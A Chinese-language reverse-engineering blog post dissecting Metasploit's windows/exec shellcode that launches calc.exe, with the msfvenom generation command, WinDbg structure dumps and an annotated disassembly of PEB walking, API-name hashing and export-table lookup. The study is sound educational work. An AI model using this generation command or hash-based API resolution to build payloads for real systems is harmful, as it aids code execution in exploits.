msf生成的shellcode分析--走,組團(tuán)分析shellcode呀

作者丨selph

分析?MSF Windows/exec Shellcode

最近分析漏洞用到msf生成的樣本進(jìn)行測試,其中用到payload選項(xiàng)為Windows/exec cmd="calc.exe"的這個(gè)payload,本著一定要知道利用代碼是怎么運(yùn)行的想法,開始對該shellcode的詳細(xì)分析。

實(shí)驗(yàn)環(huán)境

???????????虛擬機(jī):Kali Linux 2022.1 x64

???????????物理機(jī):Windows 10 21H2 家庭版

???????????軟件:x86dbg,scdbg,windbg,010 Editor

生成shellcode

使用Kali Linux生成shellcode:

┌──(selph?kali)-[~/桌面/shellcode]

└─$ msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 193 bytes

Saved as: shellcode.bin

前置知識補(bǔ)充

通過fs寄存器獲取模塊信息

使用windbg可以很方便查看用到的這些結(jié)構(gòu)

fs寄存器指向線程的TEB結(jié)構(gòu):

0:000> dt _TEB

ntdll!_TEB

+0x000 NtTib ???????????: _NT_TIB

+0x01c EnvironmentPointer : Ptr32 Void

+0x020 ClientId???????? : _CLIENT_ID

+0x028 ActiveRpcHandle? : Ptr32 Void

+0x02c ThreadLocalStoragePointer : Ptr32 Void

+0x030 ProcessEnvironmentBlock : Ptr32 _PEB

TEB[0x30]指向當(dāng)前的PEB結(jié)構(gòu):

0:000> dt _peb

ntdll!_PEB

+0x000 InheritedAddressSpace : UChar

+0x001 ReadImageFileExecOptions : UChar

+0x002 BeingDebugged??? : UChar

+0x003 BitField???????? : UChar

+0x003 ImageUsesLargePages : Pos 0, 1 Bit

+0x003 IsProtectedProcess : Pos 1, 1 Bit

+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit

+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit

+0x003 IsPackagedProcess : Pos 4, 1 Bit

+0x003 IsAppContainer?? : Pos 5, 1 Bit

+0x003 IsProtectedProcessLight : Pos 6, 1 Bit

+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit

+0x004 Mutant?????????? : Ptr32 Void

+0x008 ImageBaseAddress : Ptr32 Void

+0x00c Ldr????????????? : Ptr32 _PEB_LDR_DATA

+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

PEB[0xC]指向_PEB_LDR_DATA結(jié)構(gòu),這里保存了模塊相關(guān)的信息:

0:000> dt _PEB_LDR_DATA

ntdll!_PEB_LDR_DATA

+0x000 Length?????????? : Uint4B

+0x004 Initialized????? : UChar

+0x008 SsHandle???????? : Ptr32 Void

+0x00c InLoadOrderModuleList : _LIST_ENTRY

+0x014 InMemoryOrderModuleList : _LIST_ENTRY

+0x01c InInitializationOrderModuleList : _LIST_ENTRY

+0x024 EntryInProgress? : Ptr32 Void

+0x028 ShutdownInProgress : UChar

+0x02c ShutdownThreadId : Ptr32 Void

這里的三個(gè)_LIST_ENTRY雙向鏈表結(jié)構(gòu)都是連接本進(jìn)程內(nèi)所有模塊的_LDR_DATA_TABLE_ENTRY結(jié)構(gòu),這里有更詳細(xì)的模塊信息:

例如0x18偏移處的模塊基址,0x2c偏移處的模塊名稱等....

0:000> dt _LDR_DATA_TABLE_ENTRY

ntdll!_LDR_DATA_TABLE_ENTRY

+0x000 InLoadOrderLinks : _LIST_ENTRY

+0x008 InMemoryOrderLinks : _LIST_ENTRY

+0x010 InInitializationOrderLinks : _LIST_ENTRY

+0x018 DllBase????????? : Ptr32 Void

+0x01c EntryPoint?????? : Ptr32 Void

+0x020 SizeOfImage????? : Uint4B

+0x024 FullDllName????? : _UNICODE_STRING

+0x02c BaseDllName????? : _UNICODE_STRING

+0x034 FlagGroup??????? : [4] UChar

+0x034 Flags??????????? : Uint4B

+0x034 PackagedBinary?? : Pos 0, 1 Bit

+0x034 MarkedForRemoval : Pos 1, 1 Bit

+0x034 ImageDll???????? : Pos 2, 1 Bit

+0x034 LoadNotificationsSent : Pos 3, 1 Bit

+0x034 TelemetryEntryProcessed : Pos 4, 1 Bit

+0x034 ProcessStaticImport : Pos 5, 1 Bit

+0x034 InLegacyLists??? : Pos 6, 1 Bit

+0x034 InIndexes??????? : Pos 7, 1 Bit

+0x034 ShimDll????????? : Pos 8, 1 Bit

+0x034 InExceptionTable : Pos 9, 1 Bit

+0x034 ReservedFlags1?? : Pos 10, 2 Bits

+0x034 LoadInProgress?? : Pos 12, 1 Bit

+0x034 LoadConfigProcessed : Pos 13, 1 Bit

+0x034 EntryProcessed?? : Pos 14, 1 Bit

+0x034 ProtectDelayLoad : Pos 15, 1 Bit

+0x034 ReservedFlags3?? : Pos 16, 2 Bits

+0x034 DontCallForThreads : Pos 18, 1 Bit

+0x034 ProcessAttachCalled : Pos 19, 1 Bit

+0x034 ProcessAttachFailed : Pos 20, 1 Bit

+0x034 CorDeferredValidate : Pos 21, 1 Bit

+0x034 CorImage???????? : Pos 22, 1 Bit

+0x034 DontRelocate???? : Pos 23, 1 Bit

+0x034 CorILOnly??????? : Pos 24, 1 Bit

+0x034 ChpeImage??????? : Pos 25, 1 Bit

+0x034 ReservedFlags5?? : Pos 26, 2 Bits

+0x034 Redirected?????? : Pos 28, 1 Bit

+0x034 ReservedFlags6?? : Pos 29, 2 Bits

+0x034 CompatDatabaseProcessed : Pos 31, 1 Bit

+0x038 ObsoleteLoadCount : Uint2B

+0x03a TlsIndex???????? : Uint2B

+0x03c HashLinks??????? : _LIST_ENTRY

+0x044 TimeDateStamp??? : Uint4B

+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT

+0x04c Lock???????????? : Ptr32 Void

+0x050 DdagNode???????? : Ptr32 _LDR_DDAG_NODE

+0x054 NodeModuleLink?? : _LIST_ENTRY

+0x05c LoadContext????? : Ptr32 _LDRP_LOAD_CONTEXT

+0x060 ParentDllBase??? : Ptr32 Void

+0x064 SwitchBackContext : Ptr32 Void

+0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE

+0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE

+0x080 OriginalBase???? : Uint4B

+0x088 LoadTime???????? : _LARGE_INTEGER

+0x090 BaseNameHashValue : Uint4B

+0x094 LoadReason?????? : _LDR_DLL_LOAD_REASON

+0x098 ImplicitPathOptions : Uint4B

+0x09c ReferenceCount?? : Uint4B

+0x0a0 DependentLoadFlags : Uint4B

+0x0a4 SigningLevel???? : UChar

手動(dòng)解析PE文件拿到導(dǎo)出表

關(guān)于PE文件解析,可以使用010 Editor的exe.bt模板來輔助解析

使用010 Editor隨便打開一個(gè)DLL(一般都有導(dǎo)出表),界面如下:


這里通過下面模板的表格去找對應(yīng)的偏移即可輔助理解分析中用到的結(jié)構(gòu),跟著shellcode的反匯編中給出的偏移去找結(jié)構(gòu),本文中足夠用了

具體操作這里就不再介紹,有需要深入了解可自行學(xué)習(xí)

分析shellcode

準(zhǔn)備工作

把生成的shellcode傳到物理機(jī),使用010editor打開:


復(fù)制,二進(jìn)制,打開x86dbg(用隨便一個(gè)測試進(jìn)程),選中一片空白區(qū)域,二進(jìn)制編輯:


把剛剛復(fù)制的shellcode黏貼進(jìn)去,然后確定,修改eip為我們復(fù)制shellcode的首地址:


接下來就可以用x86dbg開始調(diào)試分析了(使用x86dbg方便查看每個(gè)指令運(yùn)行的結(jié)果,故這里沒使用IDA)

接下來收集一下shellcode調(diào)用API的信息,使用scdbg進(jìn)行掃描:


這里調(diào)用了三個(gè)函數(shù):WinExec("calc.exe"),GetVersion(),ExitProcess(0)

可以通過參考資料[2]去查詢API Hash Table

開始分析

首先shellcode設(shè)置了DF標(biāo)志位,然后跳轉(zhuǎn)進(jìn)函數(shù)BE2F6E

00BE2EE5?????? | 90?????????????????????? | nop????????????????????????????????????? |

00BE2EE6?????? | FC?????????????????????? | cld????????????????????????????????????? |

00BE2EE7?????? | E8 82000000????????????? | call testmfc x86.BE2F6E????????????????? |通過call將當(dāng)前下一條指令的地址放到棧里

接下來進(jìn)入函數(shù):

00BE2F6E?????? | 5D?????????????????????? | pop ebp????????????????????????????????? |獲取shellcode指令地址

00BE2F6F?????? | 6A 01??????????????????? | push 1??? ???????????????????????????????|

00BE2F71?????? | 8D85 B2000000??????????? | lea eax,dword ptr ss:[ebp+B2]??????????? |獲取字符串“calc.exe”的地址(偏移指向shellcode末尾)

00BE2F77?????? | 50?????????????????????? | push eax???????????????????????????????? | push "calc.exe"

00BE2F78?????? | 68 318B6F87????????????? | push 876F8B31??????????????????????????? | Hash WinExec

00BE2F7D?????? | FFD5???????????????????? | call ebp???????????????????????????????? |保存當(dāng)前下一行地址,跳轉(zhuǎn)回去

這里通過call+pop ebp的方式獲取了shellcode本身的地址,通過硬編碼偏移獲得shellcode末尾的字符串“calc.exe”,然后入棧3個(gè)參數(shù)call ebp(ebp的值是剛剛call進(jìn)來的call指令的下一行)

shellcode使用call+pop可以實(shí)現(xiàn)shellcode地址的定位功能

00BE2EEC?????? | 60?????????????????????? | pushad?????????????????????????????????? |保存寄存器環(huán)境

00BE2EED?????? | 89E5???????????????????? | mov ebp,esp ?????????????????????????????|保存棧頂

00BE2EEF?????? | 31C0???????????????????? | xor eax,eax????????????????????????????? |清空eax

00BE2EF1?????? | 64:8B50 30?????????????? | mov edx,dword ptr fs:[eax+30]??????????? |讀取fs寄存器偏移0x30處:PEB的地址

00BE2EF5?????? | 8B52 0C????????????????? | mov edx,dword ptr ds:[edx+C]???????????? | [PEB + 0xC] = PEB_LDR_DATA Addr

00BE2EF8?????? | 8B52 14????????????????? | mov edx,dword ptr ds:[edx+14]??????????? | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink

00BE2EFB????? ?| 8B72 28????????????????? | mov esi,dword ptr ds:[edx+28]??????????? | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,當(dāng)前模塊名稱

00BE2EFE?????? | 0FB74A 26??????????????? | movzx ecx,word ptr ds:[edx+26]?????????? |

00BE2F02?????? | 31FF??????????????????? ?| xor edi,edi????????????????????????????? |清空edi

00BE2F04?????? | AC?????????????????????? | lodsb??????????????????????????????????? | esi的值給到ax,對當(dāng)前模塊名計(jì)算hash

00BE2F05?????? | 3C 61??????????????????? | cmp al,61??????????????????????????????? |和a做比較,判斷是否是小寫

00BE2F07?????? | 7C 02??????????????????? | jl testmfc x86.BE2F0B??????????????????? |大寫字母跳轉(zhuǎn)

00BE2F09?????? | 2C 20??????????????????? | sub al,20??????????????????????????????? | al - 0x20小寫變大寫

00BE2F0B?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi循環(huán)右移0xd

00BE2F0E?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += ax

00BE2F10?????? | E2 F2??????????????????? | loop testmfc x86.BE2F04????????????????? |循環(huán)

00BE2F12?????? | 52?? ????????????????????| push edx???????????????????????????????? |保存_LDR_DATA_TABLE_ENTRY地址

00BE2F13?????? | 57?????????????????????? | push edi???????????????????????????????? |保存當(dāng)前模塊名Hash

00BE2F14?????? | 8B52 10????????????????? | mov edx,dword ptr ds:[edx+10]??????????? |讀取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模塊首地址

00BE2F17?????? | 8B4A 3C????????????????? | mov ecx,dword ptr ds:[edx+3C]??????????? |讀取DOS頭的擴(kuò)展頭偏移

00BE2F1A?????? | 8B4C11 78??????????????? | mov ecx,dword ptr ds:[ecx+edx+78]??????? |獲取擴(kuò)展頭中數(shù)據(jù)目錄表的導(dǎo)出表的偏移

00BE2F1E?????? | E3 48??????????????????? | jecxz testmfc x86.BE2F68???????????????? | ecx為0則跳轉(zhuǎn),說明沒有導(dǎo)出表

首先保存寄存器環(huán)境,通過fs寄存器獲得PEB地址,從PEB中找到_LDR_DATA_TABLE_ENTRY結(jié)構(gòu),找到模塊基址用于遍歷導(dǎo)出表中的函數(shù)名稱,尋找函數(shù)要用

這里最后判斷ecx是否為0,ecx為0意味著沒有導(dǎo)出表,如果沒有導(dǎo)出表則跳轉(zhuǎn):

00BE2F68?????? | 5F?????????????????????? | pop edi????????????????????????????????? |還原保存的edi當(dāng)前模塊名Hash

00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????????????????? |還原保存的_LDR_DATA_TABLE_ENTRY中的鏈表節(jié)點(diǎn)地址

00BE2F6A ??????| 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |讀取下一個(gè)節(jié)點(diǎn)

00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |

還原搜索導(dǎo)出表之前的環(huán)境,然后通過鏈表讀取下一個(gè)節(jié)點(diǎn),再次跳轉(zhuǎn)回去搜索下一個(gè)節(jié)點(diǎn)保存的模塊是否有我們需要的函數(shù)

如果模塊有導(dǎo)出表則不進(jìn)行跳轉(zhuǎn),繼續(xù)執(zhí)行:

00BE2F20?????? | 01D1???????????????????? | add ecx,edx????????????????????????????? |導(dǎo)出表偏移+模塊基地址=導(dǎo)出表位置

00BE2F22?????? | 51?????????????????????? | push ecx???????????????????????????????? |保存導(dǎo)出表位置

00BE2F23?????? | 8B59 20????????????????? | mov ebx,dword ptr ds:[ecx+20]??????????? |找到導(dǎo)出名稱表地址偏移

00BE2F26?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =找到導(dǎo)出名稱表地址

00BE2F28?????? | 8B49 18????????????????? | mov ecx,dword ptr ds:[ecx+18]??????????? |獲取導(dǎo)出名稱數(shù)量

00BE2F2B?????? | E3 3A??????????????????? | jecxz testmfc x86.BE2F67???????????????? |如果數(shù)量為0則跳轉(zhuǎn)(無名稱導(dǎo)出函數(shù)或者遍歷完整個(gè)導(dǎo)出表沒找到要找的函數(shù))

存在導(dǎo)出表則計(jì)算導(dǎo)出表在模塊中的位置,然后解析導(dǎo)出表信息:導(dǎo)出名稱表,導(dǎo)出名稱數(shù)量,如果導(dǎo)出名稱數(shù)量為0,則表示這里肯定沒有我們要調(diào)用的函數(shù)名稱導(dǎo)出的函數(shù),則跳轉(zhuǎn):

00BE2F67?????? | 5F?????????????????????? | pop edi????????????????????????????????? | edi:_wWinMainCRTStartup

00BE2F68?????? | 5F?????????????????????? | pop edi????????? ????????????????????????|還原保存的edi當(dāng)前模塊名Hash

00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????????????????? |還原保存的_LDR_DATA_TABLE_ENTRY中的鏈表節(jié)點(diǎn)地址

00BE2F6A?????? | 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |讀取下一個(gè)節(jié)點(diǎn)

00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |

還原搜索導(dǎo)出表之前的環(huán)境,然后通過鏈表讀取下一個(gè)節(jié)點(diǎn),再次跳轉(zhuǎn)回去搜索下一個(gè)節(jié)點(diǎn)保存的模塊。

如果導(dǎo)出名稱數(shù)量不為0則繼續(xù)執(zhí)行:

00BE2F2D?????? | 49?????????????????????? | dec ecx????????????????????????????????? | ecx作為循環(huán)計(jì)數(shù),遍歷整個(gè)導(dǎo)出名稱表

00BE2F2E?????? | 8B348B?????????????????? | mov esi,dword ptr ds:[ebx+ecx*4]???????? |讀取一個(gè)函數(shù)名稱偏移

00BE2F31?????? | 01D6???????????????????? | add esi,edx????????????????????????????? |讀取函數(shù)名稱地址

00BE2F33?????? | 31FF???????????????????? | xor edi,edi????????????????????????????? |清空edi

00BE2F35?????? | AC?????????????????????? | lodsb??????????????????????????????????? |取一個(gè)字符出來,指向下一個(gè)字符,計(jì)算函數(shù)名Hash

00BE2F36?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi循環(huán)右移0xD

00BE2F39?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += eax

00BE2F3B?????? | 38E0???????????????????? | cmp al,ah??????????????????????????????? |對比al和ah

00BE2F3D?????? | 75 F6??????????????????? | jne testmfc x86.BE2F35?????????????????? |不相等則跳轉(zhuǎn),意思是遍歷整個(gè)函數(shù)名,到名稱末尾\00時(shí)停止循環(huán)

00BE2F3F?????? | 037D F8????????????????? | add edi,dword ptr ss:[ebp-8]???????????? | edi += [ebp-8],給計(jì)算出來的函數(shù)名Hash加一個(gè)數(shù)字

00BE2F42?????? | 3B7D 24????????????????? | cmp edi,dword ptr ss:[ebp+24]???????? ???|判斷是否等于保存的Hash

00BE2F45?????? | 75 E4??????????????????? | jne testmfc x86.BE2F2B?????????????????? |不相等就跳轉(zhuǎn)

00BE2F47?????? | 58?????????????????????? | pop eax????????????????????????????????? |導(dǎo)出表的位置

00BE2F48?????? | 8B58 24????????????????? | mov ebx,dword ptr ds:[eax+24]??????????? |找到導(dǎo)出序號表偏移

00BE2F4B?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =導(dǎo)出序號表偏移+模塊基址=導(dǎo)出序號表地址

00BE2F4D?????? | 66:8B0C4B??????????????? | mov cx,word ptr ds:[ebx+ecx*2]?????????? | ecx是導(dǎo)出序號偏移,這里是計(jì)算導(dǎo)出序號表的索引

00BE2F51?????? | 8B58 1C????????????????? | mov ebx,dword ptr ds:[eax+1C]??????????? |導(dǎo)出地址表偏移

00BE2F54?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? |導(dǎo)出地址表地址

00BE2F56?????? | 8B048B?????????????????? | mov eax,dword ptr ds:[ebx+ecx*4]???????? |按照導(dǎo)出序號獲取導(dǎo)出函數(shù)地址偏移

00BE2F59?????? | 01D0???????????????????? | add eax,edx????????????????????????????? |拿到導(dǎo)出函數(shù)地址

00BE2F5B?????? | 894424 24??????????????? | mov dword ptr ss:[esp+24],eax??????????? |保存導(dǎo)出函數(shù)到棧里

00BE2F5F?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |堆棧平衡,把之前push的都pop

00BE2F60?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |

00BE2F61?????? | 61?????????????????????? | popad????????????????? ??????????????????|

00BE2F62?????? | 59?????????????????????? | pop ecx????????????????????????????????? |

00BE2F63?????? | 5A?????????????????????? | pop edx????????????????????????????????? |

00BE2F64?????? | 51?????????????????????? | push ecx????????? ???????????????????????|構(gòu)造返回地址,返回到剛剛?cè)霔ash的地方的下一行,去找下一個(gè)函數(shù)來執(zhí)行

00BE2F65?????? | FFE0???????????????????? | jmp eax????????????????????????????????? |執(zhí)行函數(shù)

這里ecx是導(dǎo)出名稱數(shù)量,同時(shí)也作為索引去搜索導(dǎo)出名稱表中的函數(shù)名稱,對每一個(gè)找到的導(dǎo)出名稱進(jìn)行Hash計(jì)算,然后與棧中保存的我們要找的函數(shù)的Hash進(jìn)行比對,如果找不到,則找下一個(gè)函數(shù),如果函數(shù)找完了,則找下一個(gè)模塊

如果找到了,則pop導(dǎo)出表地址給eax,再次解析導(dǎo)出表信息:導(dǎo)出序號表,導(dǎo)出地址表,從導(dǎo)出名稱表中獲得的索引去獲取導(dǎo)出序號表中對應(yīng)的序號,通過找到的導(dǎo)出序號去導(dǎo)出地址表找到對應(yīng)的導(dǎo)出函數(shù)地址,保存到eax里

拿到導(dǎo)出函數(shù)地址之后,堆棧平衡還原到搜索函數(shù)之前的位置,然后自己構(gòu)造返回地址,通過push jmp來模擬call,push的返回地址是我們構(gòu)造的剛剛push函數(shù)hash后面的call留下的地址

執(zhí)行完函數(shù)會返回回去:

00BE2F7F?????? | BB F0B5A256?????? ???????| mov ebx,56A2B5F0???????????????????????? | Hash ExitProcess

00BE2F84?????? | 68 A695BD9D????????????? | push 9DBD95A6??????????????????????????? | Hash GetVersion

00BE2F89?????? | FFD5???????????????????? | call ebp??????????????????????????????? ?|跳轉(zhuǎn)去找到函數(shù)并執(zhí)行

00BE2F8B?????? | 3C 06??????????????????? | cmp al,6???????????????????????????????? |看返回結(jié)果是否小于6

00BE2F8D?????? | 7C 0A??????????????????? | jl testmfc x86.BE2F99??????????????????? |小于6則跳轉(zhuǎn)

00BE2F8F?????? | 80FB E0????????????????? | cmp bl,E0??????????????????????????????? |判斷bl結(jié)尾是不是E0

00BE2F92?????? | 75 05??????????????????? | jne testmfc x86.BE2F99?????????????????? |不是則跳轉(zhuǎn),實(shí)際上是判斷是退出線程還是退出進(jìn)程

00BE2F94?????? | BB 4713726F????????????? | mov ebx,6F721347???????????????????????? | Hash RtlExitUserThread

00BE2F99?????? | 6A 00??????????????????? | push 0?????????????????????????????????? |參數(shù):0

00BE2F9B?????? | 53?????????????????????? | push ebx???????????????????????????????? | Hash ExitProcess

00BE2F9C?????? | FFD5???????????????????? | call ebp???????????????????????????????? |調(diào)用ExitProcess(0)

00BE2F9E?????? | 6361 6C????????????????? | arpl word ptr ds:[ecx+6C],sp???????????? |字符串“calc.exe”

00BE2FA1?????? | 632E???????????????????? | arpl word ptr ds:[esi],bp??????????????? | esi:_wWinMainCRTStartup

00BE2FA3?????? | 65:78 65???????????????? | js testmfc x86.BE300B??????????????????? |

然后接下來走同樣的途徑,去依次調(diào)用接下來要調(diào)用的函數(shù):GetVersion,ExitProcess

這里shellcode最后這個(gè)call ebp之后的內(nèi)容,不是指令,是我們調(diào)用函數(shù)的字符串參數(shù)“calc.exe”

到這里shellcode整個(gè)工作流程就是這些了,本例中,執(zhí)行結(jié)果就是彈出計(jì)算器

執(zhí)行流程總結(jié)

Shellcode執(zhí)行流程總結(jié):

1.????????入棧函數(shù)的參數(shù)和函數(shù)名的Hash,跳轉(zhuǎn)到函數(shù)進(jìn)行搜索:

a.????????通過_TEB找到_PEB

b.????????通過_PEB找到_PEB_LDR_DATA

c.????????通過_PEB_LDR_DATA找到當(dāng)前的_LDR_DATA_TABLE_ENTRY,載入進(jìn)程的模塊信息雙向鏈表

d.????????獲取模塊基址

e.????????手工解析PE文件,找到導(dǎo)出表,若無則跳轉(zhuǎn)至第8步

f.?????????解析導(dǎo)出表,找到導(dǎo)出名稱表和導(dǎo)出名稱數(shù)量,若數(shù)量為0,則跳轉(zhuǎn)至第8步

g.????????根據(jù)導(dǎo)出名稱表遍歷每一個(gè)導(dǎo)出名稱計(jì)算Hash,比對Hash與我們保存的Hash是否相同

h.????????若找不到該函數(shù),則通過鏈表找到下一個(gè)模塊信息,跳轉(zhuǎn)至第4步進(jìn)行循環(huán)

i.?????????若找到目標(biāo)函數(shù),則調(diào)用該函數(shù),然后返回出來

2.????????入棧下一個(gè)函數(shù)及其所需要的參數(shù),然后再走一遍上面的流程去調(diào)用執(zhí)行,直到完成shellcode所有要執(zhí)行的函數(shù)

完整反匯編分析注釋

00BE2EE6?????? | FC?????????????????????? | cld????????????????????????????????????? |

00BE2EE7?????? | E8 82000000????????????? | call testmfc x86.BE2F6E????????????????? |通過call將當(dāng)前下一條指令的地址放到棧里

00BE2EEC?????? | 60?????????????????????? | pushad?????????????????????????????????? |保存寄存器環(huán)境

00BE2EED?????? | 89E5???????????????????? | mov ebp,esp????????????????????????????? |保存棧頂

00BE2EEF?????? | 31C0???????????????????? | xor eax,eax????????????????????????????? |清空eax

00BE2EF1?????? | 64:8B50 30?????????????? | mov edx,dword ptr fs:[eax+30]??????????? |讀取fs寄存器偏移0x30處:PEB的地址

00BE2EF5?????? | 8B52 0C????????????????? | mov edx,dword ptr ds:[edx+C]???????????? | [PEB + 0xC] = PEB_LDR_DATA Addr

00BE2EF8?????? | 8B52 14????????????????? | mov edx,dword ptr ds:[edx+14]??????????? | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink

00BE2EFB?????? | 8B72 28????????????????? | mov esi,dword ptr ds:[edx+28]??????????? | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,當(dāng)前模塊名稱

00BE2EFE?????? | 0FB74A 26??????????????? | movzx ecx,word ptr ds:[edx+26]?????????? |

00BE2F02?????? | 31FF???????????????????? | xor edi,edi???????????????????????? ?????|清空edi

00BE2F04?????? | AC?????????????????????? | lodsb??????????????????????????????????? | esi的值給到ax,對當(dāng)前模塊名計(jì)算hash

00BE2F05?????? | 3C 61??????????????????? | cmp al,61??????????????????????????????? |和a做比較,判斷是否是小寫

00BE2F07?????? | 7C 02????????? ??????????| jl testmfc x86.BE2F0B??????????????????? |大寫字母跳轉(zhuǎn)

00BE2F09?????? | 2C 20??????????????????? | sub al,20??????????????????????????????? | al - 0x20小寫變大寫

00BE2F0B?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi循環(huán)右移0xd

00BE2F0E?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += ax

00BE2F10?????? | E2 F2??????????????????? | loop testmfc x86.BE2F04????????????????? |循環(huán)

00BE2F12?????? | 52?????????????????????? | push edx???????? ????????????????????????|保存_LDR_DATA_TABLE_ENTRY地址

00BE2F13?????? | 57?????????????????????? | push edi???????????????????????????????? |保存當(dāng)前模塊名Hash

00BE2F14?????? | 8B52 10????????????????? | mov edx,dword ptr ds:[edx+10]??????????? |讀取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模塊首地址

00BE2F17?????? | 8B4A 3C????????????????? | mov ecx,dword ptr ds:[edx+3C]??????????? |讀取DOS頭的擴(kuò)展頭偏移

00BE2F1A?????? | 8B4C11 78??????????????? | mov ecx,dword ptr ds:[ecx+edx+78]??????? |獲取擴(kuò)展頭中數(shù)據(jù)目錄表的導(dǎo)出表的偏移

00BE2F1E?????? | E3 48??????????????????? | jecxz testmfc x86.BE2F68???????????????? | ecx為0則跳轉(zhuǎn),說明沒有導(dǎo)出表

00BE2F20?????? | 01D1???????????????????? | add ecx,edx????????????????????????????? |導(dǎo)出表偏移+模塊基地址=導(dǎo)出表位置

00BE2F22?????? | 51??????????????? ???????| push ecx???????????????????????????????? |保存導(dǎo)出表位置

00BE2F23?????? | 8B59 20????????????????? | mov ebx,dword ptr ds:[ecx+20]??????????? |找到導(dǎo)出名稱表地址偏移

00BE2F26?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =找到導(dǎo)出名稱表地址

00BE2F28?????? | 8B49 18????????????????? | mov ecx,dword ptr ds:[ecx+18]??????????? |獲取導(dǎo)出名稱數(shù)量

00BE2F2B?????? | E3 3A??????????????????? | jecxz testmfc x86.BE2F67???????????????? |如果數(shù)量為0則跳轉(zhuǎn)(無名稱導(dǎo)出函數(shù)或者遍歷完整個(gè)導(dǎo)出表沒找到要找的函數(shù))

00BE2F2D?????? | 49?????????? ????????????| dec ecx????????????????????????????????? | ecx作為循環(huán)計(jì)數(shù),遍歷整個(gè)導(dǎo)出名稱表

00BE2F2E?????? | 8B348B?????????????????? | mov esi,dword ptr ds:[ebx+ecx*4]???????? |讀取一個(gè)函數(shù)名稱偏移

00BE2F31?????? | 01D6???????????????????? | add esi,edx????????????????????????? ????|讀取函數(shù)名稱地址

00BE2F33?????? | 31FF???????????????????? | xor edi,edi????????????????????????????? |清空edi

00BE2F35?????? | AC?????????????????????? | lodsb??????????????????????????????????? |取一個(gè)字符出來,指向下一個(gè)字符,計(jì)算函數(shù)名Hash

00BE2F36?????? | C1CF 0D?????????? ???????| ror edi,D??????????????????????????????? | edi循環(huán)右移0xD

00BE2F39?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += eax

00BE2F3B?????? | 38E0???????????????????? | cmp al,ah??????????????????????????????? |對比al和ah

00BE2F3D?????? | 75 F6??????????????????? | jne testmfc x86.BE2F35?????????????????? |不相等則跳轉(zhuǎn),意思是遍歷整個(gè)函數(shù)名,到名稱末尾\00時(shí)停止循環(huán)

00BE2F3F?????? | 037D F8????????????????? | add edi,dword ptr ss:[ebp-8]???????????? | edi += [ebp-8],給計(jì)算出來的函數(shù)名Hash加一個(gè)數(shù)字

00BE2F42????? ?| 3B7D 24????????????????? | cmp edi,dword ptr ss:[ebp+24]??????????? |判斷是否等于保存的Hash

00BE2F45?????? | 75 E4??????????????????? | jne testmfc x86.BE2F2B?????????????????? |不相等就跳轉(zhuǎn)

00BE2F47?????? | 58?????????????????????? | pop eax??????????????????????? ??????????|導(dǎo)出表的位置

00BE2F48?????? | 8B58 24????????????????? | mov ebx,dword ptr ds:[eax+24]??????????? |找到導(dǎo)出序號表偏移

00BE2F4B?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =導(dǎo)出序號表偏移+模塊基址=導(dǎo)出序號表地址

00BE2F4D?????? | 66:8B0C4B??????????????? | mov cx,word ptr ds:[ebx+ecx*2]?????????? | ecx是導(dǎo)出序號偏移,這里是計(jì)算導(dǎo)出序號表的索引

00BE2F51?????? | 8B58 1C????????????????? | mov ebx,dword ptr ds:[eax+1C]??????????? |導(dǎo)出地址表偏移

00BE2F54?????? | 01D3???????????????????? | add ebx,edx??????????????? ??????????????|導(dǎo)出地址表地址

00BE2F56?????? | 8B048B?????????????????? | mov eax,dword ptr ds:[ebx+ecx*4]???????? |按照導(dǎo)出序號獲取導(dǎo)出函數(shù)地址偏移

00BE2F59?????? | 01D0???????????????????? | add eax,edx????????????????????????????? |拿到導(dǎo)出函數(shù)地址

00BE2F5B?????? | 894424 24????? ??????????| mov dword ptr ss:[esp+24],eax??????????? |保存導(dǎo)出函數(shù)到棧里

00BE2F5F?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |堆棧平衡,把之前push的都pop

00BE2F60?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |

00BE2F61?????? | 61?????????????????????? | popad??????????????????????????????????? |

00BE2F62?????? | 59?????????????????????? | pop ecx????????????????????????????????? |

00BE2F63?????? | 5A?????????????????????? | pop edx????????????????????????????? ????|

